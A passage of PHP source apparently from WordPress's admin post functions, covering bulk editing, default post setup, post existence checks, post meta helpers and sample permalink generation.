		if ( isset( $post_data[ $field ] ) && ( '' === $post_data[ $field ] || -1 == $post_data[ $field ] ) ) {
			unset( $post_data[ $field ] );
		}
	}

	if ( isset( $post_data['post_category'] ) ) {
		if ( is_array( $post_data['post_category'] ) && ! empty( $post_data['post_category'] ) ) {
			$new_cats = array_map( 'absint', $post_data['post_category'] );
		} else {
			unset( $post_data['post_category'] );
		}
	}

	$tax_input = array();
	if ( isset( $post_data['tax_input'] ) ) {
		foreach ( $post_data['tax_input'] as $tax_name => $terms ) {
			if ( empty( $terms ) ) {
				continue;
			}

			if ( is_taxonomy_hierarchical( $tax_name ) ) {
				$tax_input[ $tax_name ] = array_map( 'absint', $terms );
			} else {
				$comma = _x( ',', 'tag delimiter' );
				if ( ',' !== $comma ) {
					$terms = str_replace( $comma, ',', $terms );
				}
				$tax_input[ $tax_name ] = explode( ',', trim( $terms, " \n\t\r\0\x0B," ) );
			}
		}
	}

	if ( isset( $post_data['post_parent'] ) && (int) $post_data['post_parent'] ) {
		$parent   = (int) $post_data['post_parent'];
		$pages    = $wpdb->get_results( "SELECT ID, post_parent FROM $wpdb->posts WHERE post_type = 'page'" );
		$children = array();

		for ( $i = 0; $i < 50 && $parent > 0; $i++ ) {
			$children[] = $parent;

			foreach ( $pages as $page ) {
				if ( (int) $page->ID === $parent ) {
					$parent = (int) $page->post_parent;
					break;
				}
			}
		}
	}

	$updated          = array();
	$skipped          = array();
	$locked           = array();
	$shared_post_data = $post_data;

	foreach ( $post_ids as $post_id ) {
		// Start with fresh post data with each iteration.
		$post_data = $shared_post_data;

		$post_type_object = get_post_type_object( get_post_type( $post_id ) );

		if ( ! isset( $post_type_object )
			|| ( isset( $children ) && in_array( $post_id, $children, true ) )
			|| ! current_user_can( 'edit_post', $post_id )
		) {
			$skipped[] = $post_id;
			continue;
		}

		if ( wp_check_post_lock( $post_id ) ) {
			$locked[] = $post_id;
			continue;
		}

		$post      = get_post( $post_id );
		$tax_names = get_object_taxonomies( $post );

		foreach ( $tax_names as $tax_name ) {
			$taxonomy_obj = get_taxonomy( $tax_name );

			if ( ! $taxonomy_obj->show_in_quick_edit ) {
				continue;
			}

			if ( isset( $tax_input[ $tax_name ] ) && current_user_can( $taxonomy_obj->cap->assign_terms ) ) {
				$new_terms = $tax_input[ $tax_name ];
			} else {
				$new_terms = array();
			}

			if ( $taxonomy_obj->hierarchical ) {
				$current_terms = (array) wp_get_object_terms( $post_id, $tax_name, array( 'fields' => 'ids' ) );
			} else {
				$current_terms = (array) wp_get_object_terms( $post_id, $tax_name, array( 'fields' => 'names' ) );
			}

			$post_data['tax_input'][ $tax_name ] = array_merge( $current_terms, $new_terms );
		}

		if ( isset( $new_cats ) && in_array( 'category', $tax_names, true ) ) {
			$cats                       = (array) wp_get_post_categories( $post_id );
			$post_data['post_category'] = array_unique( array_merge( $cats, $new_cats ) );
			unset( $post_data['tax_input']['category'] );
		}

		$post_data['post_ID']        = $post_id;
		$post_data['post_type']      = $post->post_type;
		$post_data['post_mime_type'] = $post->post_mime_type;

		foreach ( array( 'comment_status', 'ping_status', 'post_author' ) as $field ) {
			if ( ! isset( $post_data[ $field ] ) ) {
				$post_data[ $field ] = $post->$field;
			}
		}

		$post_data = _wp_translate_postdata( true, $post_data );
		if ( is_wp_error( $post_data ) ) {
			$skipped[] = $post_id;
			continue;
		}
		$post_data = _wp_get_allowed_postdata( $post_data );

		if ( isset( $shared_post_data['post_format'] ) ) {
			set_post_format( $post_id, $shared_post_data['post_format'] );
		}

		// Prevent wp_insert_post() from overwriting post format with the old data.
		unset( $post_data['tax_input']['post_format'] );

		// Reset post date of scheduled post to be published.
		if (
			in_array( $post->post_status, array( 'future', 'draft' ), true ) &&
			'publish' === $post_data['post_status']
		) {
			$post_data['post_date']     = current_time( 'mysql' );
			$post_data['post_date_gmt'] = '';
		}

		$post_id = wp_update_post( $post_data );
		update_post_meta( $post_id, '_edit_last', get_current_user_id() );
		$updated[] = $post_id;

		if ( isset( $post_data['sticky'] ) && current_user_can( $ptype->cap->edit_others_posts ) ) {
			if ( 'sticky' === $post_data['sticky'] ) {
				stick_post( $post_id );
			} else {
				unstick_post( $post_id );
			}
		}
	}

	/**
	 * Fires after processing the post data for bulk edit.
	 *
	 * @since 6.3.0
	 *
	 * @param int[] $updated          An array of updated post IDs.
	 * @param array $shared_post_data Associative array containing the post data.
	 */
	do_action( 'bulk_edit_posts', $updated, $shared_post_data );

	return array(
		'updated' => $updated,
		'skipped' => $skipped,
		'locked'  => $locked,
	);
}

/**
 * Returns default post information to use when populating the "Write Post" form.
 *
 * @since 2.0.0
 *
 * @param string $post_type    Optional. A post type string. Default 'post'.
 * @param bool   $create_in_db Optional. Whether to insert the post into database. Default false.
 * @return WP_Post Post object containing all the default post data as attributes
 */
function get_default_post_to_edit( $post_type = 'post', $create_in_db = false ) {
	$post_title = '';
	if ( ! empty( $_REQUEST['post_title'] ) ) {
		$post_title = esc_html( wp_unslash( $_REQUEST['post_title'] ) );
	}

	$post_content = '';
	if ( ! empty( $_REQUEST['content'] ) ) {
		$post_content = esc_html( wp_unslash( $_REQUEST['content'] ) );
	}

	$post_excerpt = '';
	if ( ! empty( $_REQUEST['excerpt'] ) ) {
		$post_excerpt = esc_html( wp_unslash( $_REQUEST['excerpt'] ) );
	}

	if ( $create_in_db ) {
		$post_id = wp_insert_post(
			array(
				'post_title'  => __( 'Auto Draft' ),
				'post_type'   => $post_type,
				'post_status' => 'auto-draft',
			),
			false,
			false
		);
		$post    = get_post( $post_id );
		if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post->post_type, 'post-formats' ) && get_option( 'default_post_format' ) ) {
			set_post_format( $post, get_option( 'default_post_format' ) );
		}
		wp_after_insert_post( $post, false, null );

		// Schedule auto-draft cleanup.
		if ( ! wp_next_scheduled( 'wp_scheduled_auto_draft_delete' ) ) {
			wp_schedule_event( time(), 'daily', 'wp_scheduled_auto_draft_delete' );
		}
	} else {
		$post                 = new stdClass();
		$post->ID             = 0;
		$post->post_author    = '';
		$post->post_date      = '';
		$post->post_date_gmt  = '';
		$post->post_password  = '';
		$post->post_name      = '';
		$post->post_type      = $post_type;
		$post->post_status    = 'draft';
		$post->to_ping        = '';
		$post->pinged         = '';
		$post->comment_status = get_default_comment_status( $post_type );
		$post->ping_status    = get_default_comment_status( $post_type, 'pingback' );
		$post->post_pingback  = get_option( 'default_pingback_flag' );
		$post->post_category  = get_option( 'default_category' );
		$post->page_template  = 'default';
		$post->post_parent    = 0;
		$post->menu_order     = 0;
		$post                 = new WP_Post( $post );
	}

	/**
	 * Filters the default post content initially used in the "Write Post" form.
	 *
	 * @since 1.5.0
	 *
	 * @param string  $post_content Default post content.
	 * @param WP_Post $post         Post object.
	 */
	$post->post_content = (string) apply_filters( 'default_content', $post_content, $post );

	/**
	 * Filters the default post title initially used in the "Write Post" form.
	 *
	 * @since 1.5.0
	 *
	 * @param string  $post_title Default post title.
	 * @param WP_Post $post       Post object.
	 */
	$post->post_title = (string) apply_filters( 'default_title', $post_title, $post );

	/**
	 * Filters the default post excerpt initially used in the "Write Post" form.
	 *
	 * @since 1.5.0
	 *
	 * @param string  $post_excerpt Default post excerpt.
	 * @param WP_Post $post         Post object.
	 */
	$post->post_excerpt = (string) apply_filters( 'default_excerpt', $post_excerpt, $post );

	return $post;
}

/**
 * Determines if a post exists based on title, content, date and type.
 *
 * @since 2.0.0
 * @since 5.2.0 Added the `$type` parameter.
 * @since 5.8.0 Added the `$status` parameter.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $title   Post title.
 * @param string $content Optional. Post content.
 * @param string $date    Optional. Post date.
 * @param string $type    Optional. Post type.
 * @param string $status  Optional. Post status.
 * @return int Post ID if post exists, 0 otherwise.
 */
function post_exists( $title, $content = '', $date = '', $type = '', $status = '' ) {
	global $wpdb;

	$post_title   = wp_unslash( sanitize_post_field( 'post_title', $title, 0, 'db' ) );
	$post_content = wp_unslash( sanitize_post_field( 'post_content', $content, 0, 'db' ) );
	$post_date    = wp_unslash( sanitize_post_field( 'post_date', $date, 0, 'db' ) );
	$post_type    = wp_unslash( sanitize_post_field( 'post_type', $type, 0, 'db' ) );
	$post_status  = wp_unslash( sanitize_post_field( 'post_status', $status, 0, 'db' ) );

	$query = "SELECT ID FROM $wpdb->posts WHERE 1=1";
	$args  = array();

	if ( ! empty( $date ) ) {
		$query .= ' AND post_date = %s';
		$args[] = $post_date;
	}

	if ( ! empty( $title ) ) {
		$query .= ' AND post_title = %s';
		$args[] = $post_title;
	}

	if ( ! empty( $content ) ) {
		$query .= ' AND post_content = %s';
		$args[] = $post_content;
	}

	if ( ! empty( $type ) ) {
		$query .= ' AND post_type = %s';
		$args[] = $post_type;
	}

	if ( ! empty( $status ) ) {
		$query .= ' AND post_status = %s';
		$args[] = $post_status;
	}

	if ( ! empty( $args ) ) {
		return (int) $wpdb->get_var( $wpdb->prepare( $query, $args ) );
	}

	return 0;
}

/**
 * Creates a new post from the "Write Post" form using `$_POST` information.
 *
 * @since 2.1.0
 *
 * @global WP_User $current_user
 *
 * @return int|WP_Error Post ID on success, WP_Error on failure.
 */
function wp_write_post() {
	if ( isset( $_POST['post_type'] ) ) {
		$ptype = get_post_type_object( $_POST['post_type'] );
	} else {
		$ptype = get_post_type_object( 'post' );
	}

	if ( ! current_user_can( $ptype->cap->edit_posts ) ) {
		if ( 'page' === $ptype->name ) {
			return new WP_Error( 'edit_pages', __( 'Sorry, you are not allowed to create pages on this site.' ) );
		} else {
			return new WP_Error( 'edit_posts', __( 'Sorry, you are not allowed to create posts or drafts on this site.' ) );
		}
	}

	$_POST['post_mime_type'] = '';

	// Clear out any data in internal vars.
	unset( $_POST['filter'] );

	// Edit, don't write, if we have a post ID.
	if ( isset( $_POST['post_ID'] ) ) {
		return edit_post();
	}

	if ( isset( $_POST['visibility'] ) ) {
		switch ( $_POST['visibility'] ) {
			case 'public':
				$_POST['post_password'] = '';
				break;
			case 'password':
				unset( $_POST['sticky'] );
				break;
			case 'private':
				$_POST['post_status']   = 'private';
				$_POST['post_password'] = '';
				unset( $_POST['sticky'] );
				break;
		}
	}

	$translated = _wp_translate_postdata( false );
	if ( is_wp_error( $translated ) ) {
		return $translated;
	}
	$translated = _wp_get_allowed_postdata( $translated );

	// Create the post.
	$post_id = wp_insert_post( $translated );
	if ( is_wp_error( $post_id ) ) {
		return $post_id;
	}

	if ( empty( $post_id ) ) {
		return 0;
	}

	add_meta( $post_id );

	add_post_meta( $post_id, '_edit_last', $GLOBALS['current_user']->ID );

	// Now that we have an ID we can fix any attachment anchor hrefs.
	_fix_attachment_links( $post_id );

	wp_set_post_lock( $post_id );

	return $post_id;
}

/**
 * Calls wp_write_post() and handles the errors.
 *
 * @since 2.0.0
 *
 * @return int|void Post ID on success, void on failure.
 */
function write_post() {
	$result = wp_write_post();
	if ( is_wp_error( $result ) ) {
		wp_die( $result->get_error_message() );
	} else {
		return $result;
	}
}

//
// Post Meta.
//

/**
 * Adds post meta data defined in the `$_POST` superglobal for a post with given ID.
 *
 * @since 1.2.0
 *
 * @param int $post_id
 * @return int|bool
 */
function add_meta( $post_id ) {
	$post_id = (int) $post_id;

	$metakeyselect = isset( $_POST['metakeyselect'] ) ? wp_unslash( trim( $_POST['metakeyselect'] ) ) : '';
	$metakeyinput  = isset( $_POST['metakeyinput'] ) ? wp_unslash( trim( $_POST['metakeyinput'] ) ) : '';
	$metavalue     = isset( $_POST['metavalue'] ) ? $_POST['metavalue'] : '';
	if ( is_string( $metavalue ) ) {
		$metavalue = trim( $metavalue );
	}

	if ( ( ( '#NONE#' !== $metakeyselect ) && ! empty( $metakeyselect ) ) || ! empty( $metakeyinput ) ) {
		/*
		 * We have a key/value pair. If both the select and the input
		 * for the key have data, the input takes precedence.
		 */
		if ( '#NONE#' !== $metakeyselect ) {
			$metakey = $metakeyselect;
		}

		if ( $metakeyinput ) {
			$metakey = $metakeyinput; // Default.
		}

		if ( is_protected_meta( $metakey, 'post' ) || ! current_user_can( 'add_post_meta', $post_id, $metakey ) ) {
			return false;
		}

		$metakey = wp_slash( $metakey );

		return add_post_meta( $post_id, $metakey, $metavalue );
	}

	return false;
}

/**
 * Deletes post meta data by meta ID.
 *
 * @since 1.2.0
 *
 * @param int $mid
 * @return bool
 */
function delete_meta( $mid ) {
	return delete_metadata_by_mid( 'post', $mid );
}

/**
 * Returns a list of previously defined keys.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return string[] Array of meta key names.
 */
function get_meta_keys() {
	global $wpdb;

	$keys = $wpdb->get_col(
		"SELECT meta_key
		FROM $wpdb->postmeta
		GROUP BY meta_key
		ORDER BY meta_key"
	);

	return $keys;
}

/**
 * Returns post meta data by meta ID.
 *
 * @since 2.1.0
 *
 * @param int $mid
 * @return object|bool
 */
function get_post_meta_by_id( $mid ) {
	return get_metadata_by_mid( 'post', $mid );
}

/**
 * Returns meta data for the given post ID.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $postid A post ID.
 * @return array[] {
 *     Array of meta data arrays for the given post ID.
 *
 *     @type array ...$0 {
 *         Associative array of meta data.
 *
 *         @type string $meta_key   Meta key.
 *         @type mixed  $meta_value Meta value.
 *         @type string $meta_id    Meta ID as a numeric string.
 *         @type string $post_id    Post ID as a numeric string.
 *     }
 * }
 */
function has_meta( $postid ) {
	global $wpdb;

	return $wpdb->get_results(
		$wpdb->prepare(
			"SELECT meta_key, meta_value, meta_id, post_id
			FROM $wpdb->postmeta WHERE post_id = %d
			ORDER BY meta_key,meta_id",
			$postid
		),
		ARRAY_A
	);
}

/**
 * Updates post meta data by meta ID.
 *
 * @since 1.2.0
 *
 * @param int    $meta_id    Meta ID.
 * @param string $meta_key   Meta key. Expect slashed.
 * @param string $meta_value Meta value. Expect slashed.
 * @return bool
 */
function update_meta( $meta_id, $meta_key, $meta_value ) {
	$meta_key   = wp_unslash( $meta_key );
	$meta_value = wp_unslash( $meta_value );

	return update_metadata_by_mid( 'post', $meta_id, $meta_value, $meta_key );
}

//
// Private.
//

/**
 * Replaces hrefs of attachment anchors with up-to-date permalinks.
 *
 * @since 2.3.0
 * @access private
 *
 * @param int|object $post Post ID or post object.
 * @return void|int|WP_Error Void if nothing fixed. 0 or WP_Error on update failure. The post ID on update success.
 */
function _fix_attachment_links( $post ) {
	$post    = get_post( $post, ARRAY_A );
	$content = $post['post_content'];

	// Don't run if no pretty permalinks or post is not published, scheduled, or privately published.
	if ( ! get_option( 'permalink_structure' ) || ! in_array( $post['post_status'], array( 'publish', 'future', 'private' ), true ) ) {
		return;
	}

	// Short if there aren't any links or no '?attachment_id=' strings (strpos cannot be zero).
	if ( ! strpos( $content, '?attachment_id=' ) || ! preg_match_all( '/<a ([^>]+)>[\s\S]+?<\/a>/', $content, $link_matches ) ) {
		return;
	}

	$site_url = get_bloginfo( 'url' );
	$site_url = substr( $site_url, (int) strpos( $site_url, '://' ) ); // Remove the http(s).
	$replace  = '';

	foreach ( $link_matches[1] as $key => $value ) {
		if ( ! strpos( $value, '?attachment_id=' ) || ! strpos( $value, 'wp-att-' )
			|| ! preg_match( '/href=(["\'])[^"\']*\?attachment_id=(\d+)[^"\']*\\1/', $value, $url_match )
			|| ! preg_match( '/rel=["\'][^"\']*wp-att-(\d+)/', $value, $rel_match ) ) {
				continue;
		}

		$quote  = $url_match[1]; // The quote (single or double).
		$url_id = (int) $url_match[2];
		$rel_id = (int) $rel_match[1];

		if ( ! $url_id || ! $rel_id || $url_id != $rel_id || ! str_contains( $url_match[0], $site_url ) ) {
			continue;
		}

		$link    = $link_matches[0][ $key ];
		$replace = str_replace( $url_match[0], 'href=' . $quote . get_attachment_link( $url_id ) . $quote, $link );

		$content = str_replace( $link, $replace, $content );
	}

	if ( $replace ) {
		$post['post_content'] = $content;
		// Escape data pulled from DB.
		$post = add_magic_quotes( $post );

		return wp_update_post( $post );
	}
}

/**
 * Returns all the possible statuses for a post type.
 *
 * @since 2.5.0
 *
 * @param string $type The post_type you want the statuses for. Default 'post'.
 * @return string[] An array of all the statuses for the supplied post type.
 */
function get_available_post_statuses( $type = 'post' ) {
	$stati = wp_count_posts( $type );

	return array_keys( get_object_vars( $stati ) );
}

/**
 * Runs the query to fetch the posts for listing on the edit posts page.
 *
 * @since 2.5.0
 *
 * @param array|false $q Optional. Array of query variables to use to build the query.
 *                       Defaults to the `$_GET` superglobal.
 * @return array
 */
function wp_edit_posts_query( $q = false ) {
	if ( false === $q ) {
		$q = $_GET;
	}
	$q['m']     = isset( $q['m'] ) ? (int) $q['m'] : 0;
	$q['cat']   = isset( $q['cat'] ) ? (int) $q['cat'] : 0;
	$post_stati = get_post_stati();

	if ( isset( $q['post_type'] ) && in_array( $q['post_type'], get_post_types(), true ) ) {
		$post_type = $q['post_type'];
	} else {
		$post_type = 'post';
	}

	$avail_post_stati = get_available_post_statuses( $post_type );
	$post_status      = '';
	$perm             = '';

	if ( isset( $q['post_status'] ) && in_array( $q['post_status'], $post_stati, true ) ) {
		$post_status = $q['post_status'];
		$perm        = 'readable';
	}

	$orderby = '';

	if ( isset( $q['orderby'] ) ) {
		$orderby = $q['orderby'];
	} elseif ( isset( $q['post_status'] ) && in_array( $q['post_status'], array( 'pending', 'draft' ), true ) ) {
		$orderby = 'modified';
	}

	$order = '';

	if ( isset( $q['order'] ) ) {
		$order = $q['order'];
	} elseif ( isset( $q['post_status'] ) && 'pending' === $q['post_status'] ) {
		$order = 'ASC';
	}

	$per_page       = "edit_{$post_type}_per_page";
	$posts_per_page = (int) get_user_option( $per_page );
	if ( empty( $posts_per_page ) || $posts_per_page < 1 ) {
		$posts_per_page = 20;
	}

	/**
	 * Filters the number of items per page to show for a specific 'per_page' type.
	 *
	 * The dynamic portion of the hook name, `$post_type`, refers to the post type.
	 *
	 * Possible hook names include:
	 *
	 *  - `edit_post_per_page`
	 *  - `edit_page_per_page`
	 *  - `edit_attachment_per_page`
	 *
	 * @since 3.0.0
	 *
	 * @param int $posts_per_page Number of posts to display per page for the given post
	 *                            type. Default 20.
	 */
	$posts_per_page = apply_filters( "edit_{$post_type}_per_page", $posts_per_page );

	/**
	 * Filters the number of posts displayed per page when specifically listing "posts".
	 *
	 * @since 2.8.0
	 *
	 * @param int    $posts_per_page Number of posts to be displayed. Default 20.
	 * @param string $post_type      The post type.
	 */
	$posts_per_page = apply_filters( 'edit_posts_per_page', $posts_per_page, $post_type );

	$query = compact( 'post_type', 'post_status', 'perm', 'order', 'orderby', 'posts_per_page' );

	// Hierarchical types require special args.
	if ( is_post_type_hierarchical( $post_type ) && empty( $orderby ) ) {
		$query['orderby']                = 'menu_order title';
		$query['order']                  = 'asc';
		$query['posts_per_page']         = -1;
		$query['posts_per_archive_page'] = -1;
		$query['fields']                 = 'id=>parent';
	}

	if ( ! empty( $q['show_sticky'] ) ) {
		$query['post__in'] = (array) get_option( 'sticky_posts' );
	}

	wp( $query );

	return $avail_post_stati;
}

/**
 * Returns the query variables for the current attachments request.
 *
 * @since 4.2.0
 *
 * @param array|false $q Optional. Array of query variables to use to build the query.
 *                       Defaults to the `$_GET` superglobal.
 * @return array The parsed query vars.
 */
function wp_edit_attachments_query_vars( $q = false ) {
	if ( false === $q ) {
		$q = $_GET;
	}
	$q['m']         = isset( $q['m'] ) ? (int) $q['m'] : 0;
	$q['cat']       = isset( $q['cat'] ) ? (int) $q['cat'] : 0;
	$q['post_type'] = 'attachment';
	$post_type      = get_post_type_object( 'attachment' );
	$states         = 'inherit';
	if ( current_user_can( $post_type->cap->read_private_posts ) ) {
		$states .= ',private';
	}

	$q['post_status'] = isset( $q['status'] ) && 'trash' === $q['status'] ? 'trash' : $states;
	$q['post_status'] = isset( $q['attachment-filter'] ) && 'trash' === $q['attachment-filter'] ? 'trash' : $states;

	$media_per_page = (int) get_user_option( 'upload_per_page' );
	if ( empty( $media_per_page ) || $media_per_page < 1 ) {
		$media_per_page = 20;
	}

	/**
	 * Filters the number of items to list per page when listing media items.
	 *
	 * @since 2.9.0
	 *
	 * @param int $media_per_page Number of media to list. Default 20.
	 */
	$q['posts_per_page'] = apply_filters( 'upload_per_page', $media_per_page );

	$post_mime_types = get_post_mime_types();
	if ( isset( $q['post_mime_type'] ) && ! array_intersect( (array) $q['post_mime_type'], array_keys( $post_mime_types ) ) ) {
		unset( $q['post_mime_type'] );
	}

	foreach ( array_keys( $post_mime_types ) as $type ) {
		if ( isset( $q['attachment-filter'] ) && "post_mime_type:$type" === $q['attachment-filter'] ) {
			$q['post_mime_type'] = $type;
			break;
		}
	}

	if ( isset( $q['detached'] ) || ( isset( $q['attachment-filter'] ) && 'detached' === $q['attachment-filter'] ) ) {
		$q['post_parent'] = 0;
	}

	if ( isset( $q['mine'] ) || ( isset( $q['attachment-filter'] ) && 'mine' === $q['attachment-filter'] ) ) {
		$q['author'] = get_current_user_id();
	}

	// Filter query clauses to include filenames.
	if ( isset( $q['s'] ) ) {
		add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' );
	}

	return $q;
}

/**
 * Executes a query for attachments. An array of WP_Query arguments
 * can be passed in, which will override the arguments set by this function.
 *
 * @since 2.5.0
 *
 * @param array|false $q Optional. Array of query variables to use to build the query.
 *                       Defaults to the `$_GET` superglobal.
 * @return array
 */
function wp_edit_attachments_query( $q = false ) {
	wp( wp_edit_attachments_query_vars( $q ) );

	$post_mime_types       = get_post_mime_types();
	$avail_post_mime_types = get_available_post_mime_types( 'attachment' );

	return array( $post_mime_types, $avail_post_mime_types );
}

/**
 * Returns the list of classes to be used by a meta box.
 *
 * @since 2.5.0
 *
 * @param string $box_id    Meta box ID (used in the 'id' attribute for the meta box).
 * @param string $screen_id The screen on which the meta box is shown.
 * @return string Space-separated string of class names.
 */
function postbox_classes( $box_id, $screen_id ) {
	if ( isset( $_GET['edit'] ) && $_GET['edit'] == $box_id ) {
		$classes = array( '' );
	} elseif ( get_user_option( 'closedpostboxes_' . $screen_id ) ) {
		$closed = get_user_option( 'closedpostboxes_' . $screen_id );
		if ( ! is_array( $closed ) ) {
			$classes = array( '' );
		} else {
			$classes = in_array( $box_id, $closed, true ) ? array( 'closed' ) : array( '' );
		}
	} else {
		$classes = array( '' );
	}

	/**
	 * Filters the postbox classes for a specific screen and box ID combo.
	 *
	 * The dynamic portions of the hook name, `$screen_id` and `$box_id`, refer to
	 * the screen ID and meta box ID, respectively.
	 *
	 * @since 3.2.0
	 *
	 * @param string[] $classes An array of postbox classes.
	 */
	$classes = apply_filters( "postbox_classes_{$screen_id}_{$box_id}", $classes );

	return implode( ' ', $classes );
}

/**
 * Returns a sample permalink based on the post name.
 *
 * @since 2.5.0
 *
 * @param int|WP_Post $post  Post ID or post object.
 * @param string|null $title Optional. Title to override the post's current title
 *                           when generating the post name. Default null.
 * @param string|null $name  Optional. Name to override the post name. Default null.
 * @return array {
 *     Array containing the sample permalink with placeholder for the post name, and the post name.
 *
 *     @type string $0 The permalink with placeholder for the post name.
 *     @type string $1 The post name.
 * }
 */
function get_sample_permalink( $post, $title = null, $name = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return array( '', '' );
	}

	$ptype = get_post_type_object( $post->post_type );

	$original_status = $post->post_status;
	$original_date   = $post->post_date;
	$original_name   = $post->post_name;
	$original_filter = $post->filter;

	// Hack: get_permalink() would return plain permalink for drafts, so we will fake that our post is published.
	if ( in_array( $post->post_status, array( 'draft', 'pending', 'future' ), true ) ) {
		$post->post_status = 'publish';
		$post->post_name   = sanitize_title( $post->post_name ? $post->post_name : $post->post_title, $post->ID );
	}

	/*
	 * If the user wants to set a new name -- override the current one.
	 * Note: if empty name is supplied -- use the title instead, see #6072.
	 */
	if ( ! is_null( $name ) ) {
		$post->post_name = sanitize_title( $name ? $name : $title, $post->ID );
	}

	$post->post_name = wp_unique_post_slug( $post->post_name, $post->ID, $post->post_status, $post->post_type, $post->post_parent );

	$post->filter = 'sample';

	$permalink = get_permalink( $post, true );

	// Replace custom post_type token with generic pagename token for ease of use.
	$permalink = str_replace( "%$post->post_type%", '%pagename%', $permalink );

	// Handle page hierarchy.
	if ( $ptype->hierarchical ) {
		$uri = get_page_uri( $post );
		if ( $uri ) {
			$uri = untrailingslashit( $uri );
			$uri = strrev( stristr( strrev( $uri ), '/' ) );
			$uri = untrailingslashit( $uri );
		}

		/** This filter is documented in wp-admin/edit-tag-form.php */
		$uri = apply_filters( 'editable_slug', $uri, $post );
		if ( ! empty( $uri ) ) {
			$uri .= '/';
		}
		$permalink = str_replace( '%pagename%', "{$uri}%pagename%", $permalink );
	}

	/** This filter is documented in wp-admin/edit-tag-form.php */
	$permalink         = array( $permalink, apply_filters( 'editable_slug', $post->post_name, $post ) );
	$post->post_status = $original_status;
	$post->post_date   = $original_date;
	$post->post_name   = $original_name;
	$post->filter      = $original_filter;

	/**
	 * Filters the sample permalink.
	 *
	 * @since 4.4.0
	 *
	 * @param array   $permalink {
	 *     Array containing the sample permalink with placeholder for the post name, and the post name.
	 *
	 *     @type string $0 The permalink with placeholder for the post name.
	 *     @type string $1 The post name.
	 * }
	 * @param int     $post_id Post ID.
	 * @param string  $title   Post title.
	 * @param string  $name    Post name (slug).
	 * @param WP_Post $post    Post object.
	 */
	return apply_filters( 'get_sample_permalink', $permalink, $post->ID, $title, $name, $post );
}

/**
 * Returns the HTML of the sample permalink slug editor.
 *
 * @since 2.5.0
 *
 * @param int|WP_Post $post      Post ID or post object.
 * @param string|null $new_title Optional. New title. Default null.
 * @param string|null $new_slug  Optional. New slug. Default null.
 * @return string The HTML of the sample permalink slug editor.
 */
function get_sample_permalink_html( $post, $new_title = null, $new_slug = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return '';
	}

	list($permalink, $post_name) = get_sample_permalink( $post->ID, $new_title, $new_slug );

	$view_link      = false;
	$preview_target = '';

	if ( current_user_can( 'read_post', $post->ID ) ) {
		if ( 'draft' === $post->post_status || empty( $post->post_name ) ) {
			$view_link      = get_preview_post_link( $post );
			$preview_target = " target='wp-preview-{$post->ID}'";
		} else {
			if ( 'publish' === $post->post_status || 'attachment' === $post->post_type ) {
				$view_link = get_permalink( $post );
			} else {
				// Allow non-published (private, future) to be viewed at a pretty permalink, in case $post->post_name is set.
				$view_link = str_replace( array( '%pagename%', '%postname%' ), $post->post_name, $permalink );
			}
		}
	}

	// Permalinks without a post/page name placeholder don't have anything to edit.
	if ( ! str_contains( $permalink, '%postname%' ) && ! str_contains( $permalink, '%pagename%' ) ) {
		$return = '<strong>' . __( 'Permalink:' ) . "</strong>\n";

		if ( false !== $view_link ) {
			$display_link = urldecode( $view_link );
			$return      .= '<a id="sample-permalink" href="' . esc_url( $view_link ) . '"' . $preview_target . '>' . esc_html( $display_link ) . "</a>\n";
		} else {
			$return .= '<span id="sample-permalink">' . $permalink . "</span>\n";
		}

		// Encourage a pretty permalink setting.
		if ( ! get_option( 'permalink_structure' ) && current_user_can( 'manage_options' )
			&& ! ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_on_front' ) == $post->ID )
		) {
			$return .= '<span id="change-permalinks"><a href="options-permalink.php" class="button button-small">' . __( 'Change Permalink Structure' ) . "</a></span>\n";
		}
	} else {
		if ( mb_strlen( $post_name ) > 34 ) {
			$post_name_abridged = mb_substr( $post_name, 0, 16 ) . '&hellip;' . mb_substr( $post_name, -16 );
		} else {
			$post_name_abridged = $post_name;
		}

		$post_name_html = '<span id="editable-post-name">' . esc_html( $post_name_abridged ) . '</span>';
		$display_link   = str_replace( array( '%pagename%', '%postname%' ), $post_name_html, esc_html( urldecode( $permalink ) ) );

		$return  = '<strong>' . __( 'Permalink:' ) . "</strong>\n";
		$return .= '<span id="sample-permalink"><a href="' . esc_url( $view_link ) . '"' . $preview_target . '>' . $display_link . "</a></span>\n";
		$return .= '&lrm;'; // Fix bi-directional text display defect in RTL languages.
		$return .= '<span id="edit-slug-buttons"><button type="button" class="edit-slug button button-small hide-if-no-js" aria-label="' . __( 'Edit permalink' ) . '">' . __( 'Edit' ) . "</button></span>\n";
		$return .= '<span id="editable-post-name-full">' . esc_html( $post_name ) . "</span>\n";
	}

	/**
	 * Filters the sample permalink HTML markup.
	 *
	 * @since 2.9.0
	 * @since 4.4.0 Added `$post` parameter.
	 *
	 * @param string      $return    Sample permalink HTML markup.
	 * @param int         $post_id   Post ID.
	 * @param string|null $new_title New sample permalink title.
	 * @param string|null $new_slug  New sample permalink slug.
	 * @param WP_Post     $post      Post object.
	 */
	$return = apply_filters( 'get_sample_permalink_html', $return, $post->ID, $new_title, $new_slug, $post );

	return $return;
}

/**
 * Returns HTML for the post thumbnail meta box.
 *
 * @since 2.9.0
 *
 * @param int|null         $thumbnail_id Optional. Thumbnail attachment ID. Default null.
 * @param int|WP_Post|null $post         Optional. The post ID or object associated
 *                                       with the thumbnail. Defaults to global $post.
 * @return string The post thumbnail HTML.
 */
function _wp_post_thumbnail_html( $thumbnail_id = null, $post = null ) {
	$_wp_additional_image_sizes = wp_get_additional_image_sizes();

	$post               = get_post( $post );
	$post_type_object   = get_post_type_object( $post->post_type );
	$set_thumbnail_link = '<p class="hide-if-no-js"><a href="%s" id="set-post-thumbnail"%s class="thickbox">%s</a></p>';
	$upload_iframe_src  = get_upload_iframe_src( 'image', $post->ID );

	$content = sprintf(
		$set_thumbnail_link,
		esc_url( $upload_iframe_src ),
		'', // Empty when there's no featured image set, `aria-describedby` attribute otherwise.
		esc_html( $post_type_object->labels->set_featured_image )
	);

	if ( $thumbnail_id && get_post( $thumbnail_id ) ) {
		$size = isset( $_wp_additional_image_sizes['post-thumbnail'] ) ? 'post-thumbnail' : array( 266, 266 );

		/**
